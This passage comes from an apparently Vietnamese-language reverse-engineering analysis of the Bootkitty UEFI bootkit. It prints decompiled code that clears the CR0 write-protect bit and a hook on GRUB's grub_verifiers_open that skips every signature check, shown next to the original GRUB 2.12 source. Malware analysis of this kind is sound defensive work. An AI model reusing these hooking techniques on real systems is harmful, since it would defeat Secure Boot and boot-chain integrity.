if ( (check_flags_2 & 1) != 0 && ~(unsigned __int64)target_address < 7 && !event_flag_18001817B )
{
AsciiSPrint_180006A50(
buffer,
0x200u,
"ASSERT [%a] %a(%d): %a\n",
debug_param,
COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
0x33i64,
COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
if ( gST )
{
console_output_6 = gST->ConOut;
if ( console_output_6 )
((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_6->OutputString)(console_output_6, buffer);
}
if ( (flags_180018176 & 0x10) != 0 )
{
__debugbreak();
}
else if ( (flags_180018176 & 0x20) != 0 )
{
while ( 1 )
;
}
}
if ( next_instr_ptr != target_address )
memmove_1800064F0(next_instr_ptr, target_address, 8ui64);
if ( !wp_enabled )
return ((__int64 (__fastcall *)(EFI_TPL))gBS->RestoreTPL)(saved_tpl);
cr0_value_4 = _readcr0_(); // gBS->RaiseTPL()
// EFI_TPL(EFIAPI * EFI_RAISE_TPL) (IN EFI_TPL NewTpl)
// NewTpl Mức độ ưu tiên tác vụ mới.
writecr0_180001010(cr0_value_4 | 0x10000);
return ((__int64 (__fastcall *)(EFI_TPL))gBS->RestoreTPL)(saved_tpl);
}
hook_grub_f3__grub_verifiers_open_18000C8B0
GRUB gọi hàm này khi mở tệp, và chịu trách nhiệm kiểm tra xem các trình xác minh tệp GRUB đã cài đặt (bao gồm cả trình xác minh shim_lock được đề cập ở trên) có cần xác minh tính toàn vẹn của tệp đang được tải hay không. Hàm hook sẽ ngay lập tức trả về mà không thực hiện bất kỳ kiểm tra chữ ký nào (lưu ý rằng điều này có nghĩa là nó thậm chí không thực hiện hàm shim_lock_verifier_init được gắn trước đó).
// static grub_file_t
// grub_verifiers_open (grub_file_t io, enum grub_file_type type)
__int64 __usercall hook_grub_f3__grub_verifiers_open_18000C8B0@<rax>(void *io@<rdi>, int type@<esi>)
{
return (__int64)io;
}
.text:000000018000C8B0 hook_grub_f3__grub_verifiers_open_18000C8B0 proc near
.text:000000018000C8B0 ; DATA XREF: hook_grub_3__grub_verifiers_open_18000E380+8A↓o
.text:000000018000C8B0 48 8B C7 mov rax, rdi
.text:000000018000C8B3 C3 retn
.text:000000018000C8B3 hook_grub_f3__grub_verifiers_open_18000C8B0 endp
grub_verifiers_open mã nguồn GRUB 2.12
static grub_file_t
grub_verifiers_open (grub_file_t io, enum grub_file_type type)
{
grub_verified_t verified = NULL;
struct grub_file_verifier *ver;
void *context;
grub_file_t ret = 0;
grub_err_t err;
int defer = 0;
grub_dprintf ("verify", "file: %s type: %d\n", io->name, type);
if ((type & GRUB_FILE_TYPE_MASK) == GRUB_FILE_TYPE_SIGNATURE
|| (type & GRUB_FILE_TYPE_MASK) == GRUB_FILE_TYPE_VERIFY_SIGNATURE
|| (type & GRUB_FILE_TYPE_SKIP_SIGNATURE))
return io;
if (io->device->disk &&
(io->device->disk->dev->id == GRUB_DISK_DEVICE_MEMDISK_ID
|| io->device->disk->dev->id == GRUB_DISK_DEVICE_PROCFS_ID))
return io;
FOR_LIST_ELEMENTS(ver, grub_file_verifiers)
{
enum grub_verify_flags flags = 0;
err = ver->init (io, type, &context, &flags);
if (err)
goto fail_noclose;
if (flags & GRUB_VERIFY_FLAGS_DEFER_AUTH)
{
defer = 1;
continue;
}
if (!(flags & GRUB_VERIFY_FLAGS_SKIP_VERIFICATION))
break;
}
if (!ver)
{
if (defer)
{
grub_error (GRUB_ERR_ACCESS_DENIED,
N_("verification requested but nobody cares: %s"), io->name);
goto fail_noclose;
}
/* No verifiers wanted to verify. Just return underlying file. */
return io;
}
ret = grub_malloc (sizeof (*ret));
if (!ret)
{
goto fail;
}
*ret = *io;
ret->fs = &verified_fs;
ret->not_easily_seekable = 0;
if (ret->size >> (sizeof (grub_size_t) * GRUB_CHAR_BIT - 1))
{
grub_error (GRUB_ERR_NOT_IMPLEMENTED_YET,
N_("big file signature isn't implemented yet"));
goto fail;
}
verified = grub_malloc (sizeof (*verified));
if (!verified)
{
goto fail;
}
verified->buf = grub_malloc (ret->size);
if (!verified->buf)
{
goto fail;
}
if (grub_file_read (io, verified->buf, ret->size) != (grub_ssize_t) ret->size)
{
if (!grub_errno)
grub_error (GRUB_ERR_FILE_READ_ERROR, N_("premature end of file %s"),
io->name);
goto fail;
}
err = ver->write (context, verified->buf, ret->size);
if (err)
goto fail;
err = ver->fini ? ver->fini (context) : GRUB_ERR_NONE;
if (err)
goto fail;
if (ver->close)
ver->close (context);
FOR_LIST_ELEMENTS_NEXT(ver, grub_file_verifiers)
{
enum grub_verify_flags flags = 0;
err = ver->init (io, type, &context, &flags);
if (err)
goto fail_noclose;
if (flags & GRUB_VERIFY_FLAGS_SKIP_VERIFICATION ||
/* Verification done earlier. So, we are happy here. */
flags & GRUB_VERIFY_FLAGS_DEFER_AUTH)
continue;
err = ver->write (context, verified->buf, ret->size);
if (err)
goto fail;
err = ver->fini ? ver->fini (context) : GRUB_ERR_NONE;
if (err)
goto fail;
if (ver->close)
ver->close (context);
}
verified->file = io;
ret->data = verified;
return ret;
fail:
if (ver->close)
ver->close (context);
fail_noclose:
verified_free (verified);
grub_free (ret);
return NULL;
}
Các thành phần khác
Ubuntu 24.04 Noble grubx64.efi
baramundisoftware/grub2_2024